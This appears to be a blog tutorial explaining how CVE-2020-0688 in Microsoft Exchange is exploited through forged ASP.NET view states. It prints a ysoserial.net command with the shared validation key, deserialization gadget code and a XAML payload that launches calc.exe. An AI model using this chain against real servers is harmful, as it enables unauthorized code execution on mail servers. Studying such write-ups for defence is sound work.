Understanding CVE-2020-0688

Hello, Guys! In this blog post we will take an in-depth look at CVE-2020-0688 which is a recently published vulnerability in Microsoft Exchange that allows an authenticated attacker to execute arbitrary code on affected Exchange Servers.

The first section of this blog post is meant as a short introduction to CVE-2020-06881 to lay the foundation for the great things in the upcoming sections. If you are already familiar with CVE-2020-0688 you can skip the first section and jump straight into the nitty gritty details of how it works.

Introduction

On February 25th 2020 shortly after Microsoft’s Patch Tuesday, Simon Zuckerbraun from the Zero Day Initiative (ZDI2) published a write-up of CVE-2020-0688 a remote code execution vulnerability in Microsoft Exchange that was reported anonymously to ZDI. The anonymous researcher discovered that Microsoft Exchange uses the same cryptographic keys across all installations. This poses a serious risk for the authenticity and integrity of the view state used by the ASP.NET web application included in Microsoft Exchange.

ASP.NET web applications like the Exchange Control Panel (ECP) make use of the view state mechanism to maintain a page state and persist data in web forms on postbacks. The view state is saved as a hidden form field (__VIEWSTATE) in the document object model (DOM) delivered by the ASP.NET server to the client (Browser). During the communication between an ASP.NET server and a client the view state is send back and forth between these two parties (NSA not included ;-)). Because HTTP is stateless it wouldn’t be possible for the ASP.NET server to reconstruct the state of web controls after postbacks if there wasn’t the view state.

Another important aspect about the view state is that it gets deserialized on the server-side. Due to this reason it is essential that the client is unable to tamper with the view state, otherwise this would lead to remote code execution on the ASP.NET server. In order to protect the view state from tampering it’s authenticity and integrity is protected by a Keyed-Hash Message Authentication Code (HMAC) (in some cases the view state is even encrypted). In the case of Microsoft Exchange the same key is used to protect the authenticity and integrity across diffrent installations of Microsoft Exchange, which allows the attacker to forge a valid view state that will get deserialized by the server.

Exploitation Stages

Figure 1: Exploitation Stages

In the diagram above you can see an overview of the different stages that the attacker has to go through in order to exploit CVE-2020-0688. The upcoming sections of this blog post are structured based on three stages presented here.

Lab Setup

If you are excited to play around with the public exploits available for CVE-2020-0688 and you are not currently planing to go to jail, it is necessary to setup a vulnerable Microsoft Exchange Server. The following listing shows the lab setup that was used by the author to create the blog post you are currently reading.

  1. Windows Server 2012 R2
  2. Microsoft Exchange 2013
  3. Exchange 2013 Prerequisites
  4. ysoserial.net: .NET payload generator for deserialization
  5. dnSpy: .NET Debugger
  6. TextFormattingRunProperties POC

DISCLAIMER: Never use the content presented on this website to break any laws! If you don’t play by the rules there won’t be any christmas presents this year.

Collect

Before you can exploit Microsoft Exchange Servers vulnerable to CVE-2020-0688 a few preconditions need to be satisfied:

  1. Know the validationKey and decryptionKey from the web.config file of your target (those values are public)
  2. Know the ASP.NET version in use by the target (View state algorithms differ between ASP.NET versions)
  3. Get valid credentials to access the Exchange Control Panel (ECP) of the target
  4. Login to the ECP /ecp/default.aspx and collect the ASP.NET SessionId Cookie value
  5. While still logged in collect the __VIEWSTATEGENERATOR value from the DOM returned by requesting ECP

The first point from the list is easly satisfied because the validationKey and decryptionKey values are the same for all vulnerable Microsoft Exchange Servers. For the sake of completness below you can find the contents of the web.config file used in the lab setup described in the previous section. The keys and algorithms defined in the web.config file play an important role during the runtime of an ASP.NET web application. They are managed by an MachineKeySection object which according to MSDN is responsible for the following tasks:

“Defines the configuration settings that control the key generation and algorithms that are used in encryption, decryption, and message authentication code (MAC) operations in Windows Forms authentication, view-state validation, and session-state application isolation.”.

Figure 2: web.config

The MachineKeySection class provides a method called GetEncodedData() which we will later use to forge the malicious __VIEWSTATE as you we will see in the next section.

Secondly, you need to know the ASP.NET version of the target in order to be able to forge a valid view state which gets accepted by an vulnerable Microsoft Exchange Server. This is important because the view state of ASP.NET version < 4.5 (legacy) and ASP.NET version >= 4.5 (new) are computed differently. How to get the ASP.NET version of a remote system you might ask? My answer is “enumerate, enumerate, enumerate, …” until you find it. For my lab machine the ASP.NET version can be seen in the figure below. But please don’t hack me ;-).

Figure 3: ASP.NET Version

The third condition from the list is the hardest to satisfy, because it requires you to have valid credentials to access one of the maliboxes of the target. Keep in mind that the account used doesn’t need to have any special privileges, therefore chances are quite high that you might get lucky during your pentest journey.

The fourth condition from our list requires you to capture the ASP.NET SessionId Cookie assigned to your user during login. This can be achived by looking at the HTTP-Headers in the network tab of the debugging tools of your browser.

// viewStateUserKey is normally the anti-CSRF parameter unless it is the same for all users! 
if (viewStateUserKey != null)
{
    int count = Encoding.Unicode.GetByteCount(viewStateUserKey);
    _macKeyBytes = new byte[count + 4];
    Encoding.Unicode.GetBytes(viewStateUserKey, 0, viewStateUserKey.Length, _macKeyBytes, 4);
}
_macKeyBytes[0] = (byte)pageHashCode;
_macKeyBytes[1] = (byte)(pageHashCode >> 8);
_macKeyBytes[2] = (byte)(pageHashCode >> 16);
_macKeyBytes[3] = (byte)(pageHashCode >> 24);

...

The value from the ASP.NET SessionId Cookie represents the viewStateUserKey which is used as a CSRF mitigation as can be seen in the source code snippet of the view state plugin (../ysoserial/Plugins/ViewStatePlugin.cs3). Note that the viewStateUserKey and the __VIEWSTATEGENERATOR (pageHashCode) are added to the __macKeyBytes array that later on is used as input for the HMAC computation.

Finally we need to collect the __VIEWSTATEGENERATOR value from the Document Object Model (DOM) of the previously requested Exchange Control Panel (ECP). Think of the __VIEWSTATEGENERATOR as a unique hash representation of the web path requested. This hash value is calculated with the help of the GetNonRandomizedHashCode function which can be found in the System.Web.Util.StringUtil class. The inputs for the function are the IIS path (e.g. /) and the path of the requested page (e.g. /ecp/default.aspx). The __VIEWSTATEGENERATOR value combined with the viewStateUserKey described in the paragraph before are part of the HMAC computation performed while creating a view state.

With the help of the cryptographic parameters viewStateUserKey and the __VIEWSTATEGENERATOR the following properites are achived by the ASP.NET web application:

  • The viewStateUserKey is unique for each user session and is included in the computation of the view state HMAC. Because the viewStateUserKey is kept secret the attacker is not able to know its value beforehand. Therefore it is impossible for the attacker to create a web form that will trick a victim into requesting a certain action from the backend because that would require the attacker to be able to compute the view state. This provides a sufficient protection against CSRF attacks.
  • The __VIEWSTATEGENERATOR (part of HMAC computation) restricts the view state to the web application it originated from. Therefore it’s not possible to reply the view state of an established session to other parts of the ASP.NET web application.

Forge

After collecting all necessary cryptographic parameters it’s time to forge a malicious __VIEWSTATE by using a tool called ysoserial.net. According to the description found on the projects github page, ysoserial.net4 is “A proof-of-concept tool for generating payloads that exploit unsafe .NET object deserialization”.

The cool part about ysoserial.net is that it contains a plugin called ViewStatePlugin.cs that is able to generate view states for ASP.NET version < 4.5 (legacy) and ASP.NET version >= 4.5 (new). In the following you can see how we use the tool ysoserial.net in combination with the previously collected cryptographic parameters to forge a malicious __VIEWSTATE.

ysoserial.exe --plugin="ViewState" --islegacy
 
              --validationalg="SHA1" 
              --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF"
               
              --viewstateuserkey="05ae4b41-51e1-4c3a-9241-6b87b169d663"
              --generator="B97B4E27"

              --gadget="TextFormattingRunProperties"
              --command="calc.exe" 

In the first argument we specify the view state plugin which tells ysoserial.net that we want to forge a __VIEWSTATE. The second argument tells ysoserial.net the type of __VIEWSTATE we want to forge. We want to generate a legacy __VIEWSTATE because the ASP.NET version in our lab environment is 4.0 and therefore the view state needs to be in legacy format.

The following two arguments represent the fixed cryptographic parameters which are the root cause of CVE-2020-0688. Note that the hash algorithm used to compute the HMAC of the __VIEWSTATE is SHA1. This means that the integrity and authenticity of the __VIEWSTATE is protected by a Keyed-Hash Message Authentication Code (HMAC) base on SHA1. The key used to ensure the authenticity is the ValidationKey. As mentioned earlier the ValidationKey is the same for all vulnerable Microsoft Exchange Servers, which is the reason why this vulnerablity exists.

The next two arguments are the __VIEWSTATEGENERATOR and the ViewStateUserKey. Both values have been collected after logging into the ASP.NET web application (e.g. ECP) part of the vulnerable Exchange Server. If you are not familiar with the purpouse of the two arguments I recommend you to go back to the previous section and refresh your memory. The one importat thing to remember for now is that the two arguments are part of the HMAC computation.

Now it’s time to look into the view state plugin included in ysoserial.net, so we are able to see exactly how a malicious __VIEWSTATE is generated.

The plugin is located under /ysoserial.net/blob/master/ysoserial/Plugins/ViewStatePlugin.cs.

If you browse through ViewStatePlugin.cs you will notice that the function responsible for generating the malicious __VIEWSTATE is the one called generateViewStateLegacy_2_to_4(). In the code listing below you can see a number of functions that are called from generateViewStateLegacy_2_to_4() to generate the malicious __VIEWSTATE.

generateViewStateLegacy_2_to_4()
|
+-> MachineKeySection.GetEncodedData()
    |
    +-> MachineKeySection.HashData()
	    |
	    +-> MachineKeySection.GetHMACSHA1Hash()
		    |
		    +-> UnsafeNativeMethods.GetHMACSHA1Hash()	

The first thing you see when looking at some of the functions called by generateViewStateLegacy_2_to_4() is that they clearly have something to do with the HMAC computation. Another important detail to notice is that the functions are from the MachineKeySection5 class which according to MSDN is responsible for handling view-state validation, “Defines the configuration settings that control the key generation and algorithms that are used in encryption, decryption, and message authentication code (MAC) operations in Windows Forms authentication, view-state validation, and session-state application isolation.”.

The malicious __VIEWSTATE is nothing more than a serialized and base64 encoded Gadget (we will come back to this later) combined with an HMAC computed from the Gadget itself and the cryptographic parameters collected in the first stage of our attack.

The diagram below should help you to understand how the HMAC is generated by generateViewStateLegacy_2_to_4() based on the Gadget and the cryptographic parameters provided to the function.

Figure 4: SHA1 HMAC

Finally the HMAC above is appended to the serialized and base64 encoded Gadget which represents the malicious __VIEWSTATE as shown in the following diagram.

Figure 5: Malicious __VIEWSTATE

At this point you might have noticed that there are still two arguments left from the ysoserial.net commandline that need some explanation. Those two arguments will be covered in greater detail the upcoming section.

Smash

In the previous section we introduced the vast majority of arguments required by the tool ysoserial.net to forge a malicious __VIEWSTATE with the exception of the two arguments gadget and command. These two arguments are responsible for providing a means of code execution as we will see in the following paragraphs.

Before we continue let’s remember that our final goal is to execute code on the vulnerable Microsoft Exchange Server, which requires us to send the server a malicious __VIEWSTATE that, when deserialized on the server-side leads to code execution.

ysoserial.exe ...

              --gadget="TextFormattingRunProperties"
              --command="calc.exe" 

The last argument from the above commandline which is named command, is responsible for what gets executed when our malicious __VIEWSTATE is deserialized by the server-side. For demonstration purpouses calc.exe is used as our final payload but in general the value is only limited by the imagination of the attacker.

But what about this mysterious argument named gadget which has TextFormattingRunProperties as its value? As you might have guessed by now the actual magic lies in the class called TextFormattingRunProperties.

Classes like TextFormattingRunProperties are regular building blocks of the .NET-Framework with the exception that they provide an indirect (often not intended) way of enabling code execution during deserialization.

When deserializing an serialized object of the type TextFormattingRunProperties a chain of methods is called on its properties which finally leads to code execution. In technical terms this is often referred to as Gadget chain. Now let’s take a look at how this gadget can help us in achieving code execution on our Microsoft Exchange Server.

To demonstrate to you what happens when an object of type TextFormattingRunProperties gets deserialized we will take a look at a proof-of-concept code borrowed from the finders of the gadget Alvaro Muñoz and Oleksandr Mirosh6.

The class below implements the interface ISerializable which tells us that objects of this type will use a custom way of serialization. When serialzing an object the GetObjectData method is called implcitly. Inside this method we specify the property ForegroundBrush as part of the SerializationInfo object. According to MSDN the SerializationInfo class is responsible for the storage of all the data that is needed to serialize or deserialize an object. Also note that the type of ForegroundBrush is defined as TextFormattingRunProperties and that it uses the variable _xaml as its value.

[Serializable]
public class TextFormattingRunPropertiesMarshal : ISerializable
{
	string _xaml;
	public void GetObjectData(SerializationInfo info, StreamingContext context)
	{
		Type t = Type.GetType("Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties, 
								Microsoft.PowerShell.Editor, 
								Version=3.0.0.0, 
								Culture=neutral, 
								PublicKeyToken=31bf3856ad364e35");
		info.SetType(t);
		info.AddValue("ForegroundBrush", _xaml);
	}
	public TextFormattingRunPropertiesMarshal(string xaml)
	{
		_xaml = xaml;
	}
}	

The complete source code of this example can be found here.

Before we are able to execute arbitrary commands with the help of the class presented above we first need to define the variable payload of type string which will contain the following XAML. If this doesn’t make any sense to you right now don’t worry we will shortly provide you with an detailed explanation of whats going on here.

<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:System="clr-namespace:System;assembly=mscorlib"
xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system">
	<ObjectDataProvider x:Key="RunCalc" ObjectType = "{ x:Type Diag:Process }" MethodName = "Start">
	<ObjectDataProvider.MethodParameters>
		<System:String>cmd</System:String>
		<System:String>/c calc.exe </System:String>
	</ObjectDataProvider.MethodParameters>
	</ObjectDataProvider>
</ResourceDictionary>

What follows next is that we create an object of type TextFormattingRunPropertiesMarshal and provide its constructor the previously defined payload variable which contains the XAML specified above. In the subsequent lines we see how the object is first serialized and then deserialized immediately. For the purpouse of serialization/deserialization we use the class LosFormatter7. This class is used by ASP.NET web applications to serialize/deserialize the view state.

Object obj = new TextFormattingRunPropertiesMarshal(payload);
LosFormatter fmt = new LosFormatter();
MemoryStream ms = new MemoryStream();
fmt.Serialize(ms, obj);
ms.Position = 0;
fmt.Deserialize(ms);

When you compile and execute the binary from this c-sharp proof-of-conecept code (POC) a calculator will somehow magically appear as can be seen in the following figure.

Figure 6: TextFormattingRunProperties Gadget

In order to understand what happened until this point we need to take a step back and look at some of the properties of the gadget TextFormattingRunProperties. The first thing to notice when looking at the gadget class is that it contains a Serializable attribute and that the class implements an interface of type ISerializable. This tells us that the gadget class will implement a custom form of serialization/deserialization.

[System.Serializable]
public sealed class TextFormattingRunProperties : 
System.Windows.Media.TextFormatting.TextRunProperties, 
System.Runtime.Serialization.IObjectReference, 
System.Runtime.Serialization.ISerializable

The next thing we will have a look at are methods which belong to the gadget class and have something to do with serialization. As you can see in the figure below the gadget class implements its own GetObjectData() method as demanded by the ISerializable interface. The interesting part from the method description is the mentioning of the class XamlWriter. This is a clear sign that objects created from our gadget class a serialized and deserialized with the help of XamlWriter and XamlReader.

Figure 7: TextFormattingRunProperties.GetObjectData()

Remember what happens when a custom .NET object gets deserialized? No!? Let me help you. The answer is that a special constructor is called which in the case of our gadget class TextFormattingRunProperties looks as follows:

TextFormattingRunProperties.ctor(SerializationInfo, StreamingContext)

Inside this special constructor used for deserialization purposes a method named GetObjectFromSerializationInfo() is called on each property of our gadget class that needs to be deserialized. The serialized properties are retrieved from the SerializationInfo object passed to the method.

Figure 8: TextFormattingRunProperties.GetObjectFromSerializationInfo()

In the figure above you can see what happens inside the method GetObjectFromSerializationInfo(). Note that the method XamlReader.Parse() is called on the property ForegroundBrush which contains the XAML we have seen before.

What happend so far is that we attempted to deserialize the gadget of type TextFormattingRunProperties with the help of LosFormatter. During deserialization each object of a specific type that is part of the object graph gets deserialized in its intended way. This involves calling the specialized constructor introduced earlier in this section. The result of calling the specialized constructor is that XamlReader.Parse() will be called on each property of class such as ForegroundBrush. The magic begins when we pass the contents of ForegroundBrush (XAML) into the Parse() method.

At this point XamlReader.Parse() will take care of the XAML content present in the property ForegroundBrush. After parsing the XAML definitions an object of type ObjectDataProvider will be instantiated. The class ObjectDataProvider is responsible for creating an object that can be used as a binding source for Windows Presentation Foundation (WPF) application GUI elements.

A binding source can be described as the association between an GUI element (e.g. WPF Window) and a method which is responsible for creating or fetching data used by that GUI element. This association is described in XAML. The best part about ObjectDataProviders from an attackers point of view is that they provide a way to execute code on a target that can be tricked into calling XamlReader.Parse() on a malicious ObjectDataProviders XAML definition.

Guess what!? This is exactly what is happening in our example! As we will explorer in the next section.

Wrapping it all up

We are first defining a malicious ObjectDataProvider (in XAML) that gets assigned to our payload variable which in turn becomes part of the ForegroundBrush property of our gadget class TextFormattingRunProperties.

In the second step we serialize our gadget class with the help of the formatter LosFormatter. Based on the serialized gadget and the cryptographic parameters introduced in one of the previous sections an HMAC is computed which is then appended to the serialized gadget. The resulting structure is called view state.

In the next step the malicious __VIEWSTATE is send back the the vulnerable ASP.NET web application part of Microsoft Exchange. The HTTP GET-Request is shown below.

/ecp/default.aspx?__VIEWSTATEGENERATOR=<value>&__VIEWSTATE=<value>

After receiving the view state the ASP.NET web application uses the LosFormatter.Deserialize() method to deserialize its contents.

public object Deserialize(string input) {

#if NO_BASE64
        char[] data = input.ToCharArray();
#else
        byte[] dataBytes = Convert.FromBase64String(input);

        int dataLength = -1;
        if (EnableViewStateMac) {

            try {
                dataBytes = MachineKeySection.GetDecodedData(dataBytes, _macKey, 0, dataBytes.Length, ref dataLength);
            }
            catch (Exception e) {
                PerfCounters.IncrementCounter(AppPerfCounter.VIEWSTATE_MAC_FAIL);
                ViewStateException.ThrowMacValidationError(e, input);
            }
        }
...

The LosFormatter uses the specialized constructor of the serialized TextFormattingRunProperties object to deserialize its properties. Additionally the ForegroundBrush which holds the malicious ObjectDataProvider (in XAML) gets passed into XamlReader.Parse() as part of a a function call to GetObjectFromSerializationInfo() (Boooom!!!).

Figure 9: ObjectDataProvider.InvokeMethodOnInstance()

Finally the ObjectDataProvider object gets instantiated, and the method System.Diagnostics.Process.start() from System.dll is invoked with the help of another method called ObjectDataProvider.InvokeMethodOnInstance() as can be seen in the figure above. The start() method is used to execute cmd.exe with the commandline /c calc.exe. This results in the creation of a calc.exe process or a full compromise of the targeted Microsoft Exchange Server.


Want to see something else added? Open an issue.